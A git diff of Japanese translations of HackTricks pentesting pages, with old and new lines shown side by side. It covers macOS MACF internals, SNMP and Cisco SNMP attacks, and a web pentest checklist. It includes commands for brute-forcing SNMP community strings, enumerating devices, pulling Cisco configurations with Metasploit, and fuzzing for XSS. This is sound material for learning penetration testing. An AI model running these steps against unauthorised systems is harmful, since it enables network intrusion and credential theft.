ただし、すべてのMACFコールアウトがアクションを拒否するためだけに使用されるわけではないことを覚えておいてください。たとえば、`mac_priv_grant`はマクロ[**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274)を呼び出し、任意のポリシーが0で応答した場合、要求された特権を付与します。
```c
/*
* MAC_GRANT performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Unlike MAC_CHECK, it grants if any policies return '0',
* and otherwise returns EPERM. Note that it returns its value via
* 'error' in the scope of the caller.
*/
#define MAC_GRANT(check, args...) do { \
error = EPERM; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \
int __step_res = mpc->mpc_ops->mpo_ ## check (args); \
if (__step_res == 0) { \
error = 0; \
} \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \
} \
}); \
} while (0)
```
{% endhint %}
### priv\_check & priv\_grant
これらの呼び出しは、[**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h)で定義された(数十の)**特権**をチェックし、提供することを目的としています。\
一部のカーネルコードは、プロセスのKAuth資格情報と特権コードの1つを使用して[**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c)から`priv_check_cred()`を呼び出し、`mac_priv_check`を呼び出して、特権を与えることを**拒否**するポリシーがあるかどうかを確認し、その後`mac_priv_grant`を呼び出して、特権を与えるポリシーがあるかどうかを確認します。
### proc\_check\_syscall\_unix
このフックは、すべてのシステムコールをインターセプトすることを可能にします。`bsd/dev/[i386|arm]/systemcalls.c`では、次のコードを含む宣言された関数[`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25)を見ることができます。
```c
#if CONFIG_MACF
if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
error = mac_proc_check_syscall_unix(proc, syscode);
if (error) {
goto skip_syscall;
}
}
#endif /* CONFIG_MACF */
```
どの呼び出しプロセスの**ビットマスク**をチェックして、現在のシステムコールが`mac_proc_check_syscall_unix`を呼び出すべきかどうかを判断します。これは、システムコールが非常に頻繁に呼び出されるため、毎回`mac_proc_check_syscall_unix`を呼び出すのを避けることが興味深いからです。
関数`proc_set_syscall_filter_mask()`は、プロセス内のビットマスクシステムコールを設定するためにSandboxによって呼び出され、サンドボックス化されたプロセスにマスクを設定します。
## 公開されたMACFシステムコール
[security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151)で定義された一部のシステムコールを通じてMACFと対話することが可能です
```c
/*
* Extended non-POSIX.1e interfaces that offer additional services
* available from the userland and kernel MAC frameworks.
*/
#ifdef __APPLE_API_PRIVATE
__BEGIN_DECLS
int __mac_execve(char *fname, char **argv, char **envv, mac_t _label);
int __mac_get_fd(int _fd, mac_t _label);
int __mac_get_file(const char *_path, mac_t _label);
int __mac_get_link(const char *_path, mac_t _label);
int __mac_get_pid(pid_t _pid, mac_t _label);
int __mac_get_proc(mac_t _label);
int __mac_set_fd(int _fildes, const mac_t _label);
int __mac_set_file(const char *_path, mac_t _label);
int __mac_set_link(const char *_path, mac_t _label);
int __mac_mount(const char *type, const char *path, int flags, void *data,
struct mac *label);
int __mac_get_mount(const char *path, struct mac *label);
int __mac_set_proc(const mac_t _label);
int __mac_syscall(const char *_policyname, int _call, void *_arg);
__END_DECLS
#endif /*__APPLE_API_PRIVATE*/
```
## 参考文献
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -29,26 +29,26 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMPは、**162/UDP**ポート**トラップ**に使用します。これらは、**明示的に要求されることなくSNMPサーバーからクライアントに送信されるデータパケット**です。
SNMPは、**162/UDP**ポート**トラップ**に使用します。これらは、**明示的に要求されることなくSNMPサーバーからクライアントに送信されるデータパケット**です。
{% endhint %}
### MIB
SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
### OIDs
**オブジェクト識別子OIDs**は重要な役割を果たします。これらの一意の識別子は、**管理情報ベースMIB**内のオブジェクトを管理するために設計されています。
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準のフレームワークが確立されます。
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理対象オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)にアクセスしてください。\
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。そして、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。また、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
### **OIDの例**
@ -62,10 +62,10 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
* 3 これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
* 6 これはdodまたは国防総省で、最初にインターネットを確立した組織です。
* 1 これはインターネットの値で、すべての通信がインターネットを通じて行われることを示します。
* 4 この値は、このデバイスが政府ではなく民間組織によって製造されたことを示します。
* 4 この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。
* 1 この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数のシーケンスは、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数は、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
次の数のセットに進みます。
@ -93,13 +93,13 @@ SNMPには2つの重要なバージョンがあります
### コミュニティ文字列
前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティ文字列を知っている必要があり、バージョン3では資格情報が必要です。**\
**2種類のコミュニティ文字列**があります
**コミュニティ文字列には2種類あります**
* **`public`** 主に**読み取り専用**機能
* **`private`** **読み書き**一般
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません。**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります。**\
オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラーが受信されます\*\*.\*\*
オブジェクトに**書き込もうとすると、**`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
バージョン1および2/2cでは、**悪い**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
@ -113,7 +113,7 @@ SNMPには2つの重要なバージョンがあります
## ブルートフォースコミュニティ文字列v1およびv2c
**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。SNMPに対するブルートフォース攻撃を実行するさまざまな方法については[こちらを確認してください](../../generic-methodologies-and-resources/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。SNMPに対するブルートフォース攻撃を実行するさまざまな方法については[こちらを確認してください](../../generic-methodologies-and-resources/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
## SNMPの列挙
@ -124,7 +124,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
有効なコミュニティ文字列がわかっていれば、**SNMPWalk**または**SNMP-Check**を使用してデータにアクセスできます:
有効なコミュニティストリングを知っていれば、**SNMPWalk**または**SNMP-Check**を使用してデータにアクセスできます:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -193,7 +193,7 @@ SNMPサービス内で**値を書き込む**ことを許可する**文字列**
## **大規模SNMP**
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
@ -243,7 +243,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定する上で重要です。ペンテスターにとって注目すべき攻撃ベクターは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** において重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です:
```bash
@ -38,7 +38,7 @@ Metasploitフレームワークには、デバイスの設定を抽出するた
* ターゲットデバイスのIP (**RHOSTS**)
* 設定ファイルの保存先パス (**OUTPUTDIR**)
設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることを可能にします。
設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることを可能にします。
#### `snmp_enum`
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -66,9 +66,9 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Info
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なるタイプの脆弱性**が存在します。
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash
@ -46,16 +46,16 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
> この方法論では、あなたがドメインまたはサブドメインを攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
* [ ] **ウェブサーバー**で使用されている**技術**を**特定**することから始めます。技術を成功裏に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
* [ ] **ウェブサーバー**で使用されている**技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
* [ ] 技術のバージョンに**既知の脆弱性**はありますか?
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
* [ ] 実行するための**専門的なスキャナー**はありますか例えば、wpscan
* [ ] 実行するための**専門スキャナー**はありますか例えば、wpscanなど
* [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
* [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーを実行する必要があります。_
* [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースを実行する必要があります。_
* [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
* [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ことを試みます。
* [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
@ -117,7 +117,7 @@ Search **for** [**ウェブアプリケーションの** **バージョンの脆
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSSからRCEへ)**](electron-desktop-apps/)
_**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに意してください。_\
_**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに意してください。_\
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
### ソースコードレビュー
@ -125,11 +125,11 @@ _**同じドメイン**が異なる**ポート**、**フォルダ**、および*
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
* **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
* **認証情報**はどのように、どこに保存されていますか?認証情報(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか?
* **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか?
* **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
* 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
* いくつかの脆弱性を用して**これらのファイルにアクセス**できますか?
* **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**入力されたパスワード**があるかもしれません
* 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか?
* いくつかの脆弱性を用して**これらのファイルにアクセス**できますか?
* **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**入力されたパスワード**など
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -151,7 +151,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMSスキャナー
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か魅力的なものが見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
@ -199,7 +199,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **SSL/TLSの脆弱性**
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。
* アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
@ -223,11 +223,11 @@ SSL/TLSの脆弱性に関する情報:
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定する、megは各ホストの各パスを取得し、応答を保存します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
@ -235,7 +235,7 @@ SSL/TLSの脆弱性に関する情報:
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して、醜いミニファイされたファイルから相対URLを見つけて抽出します。
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを出力します。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。
@ -250,13 +250,13 @@ SSL/TLSの脆弱性に関する情報:
### ディレクトリとファイルのブルートフォース
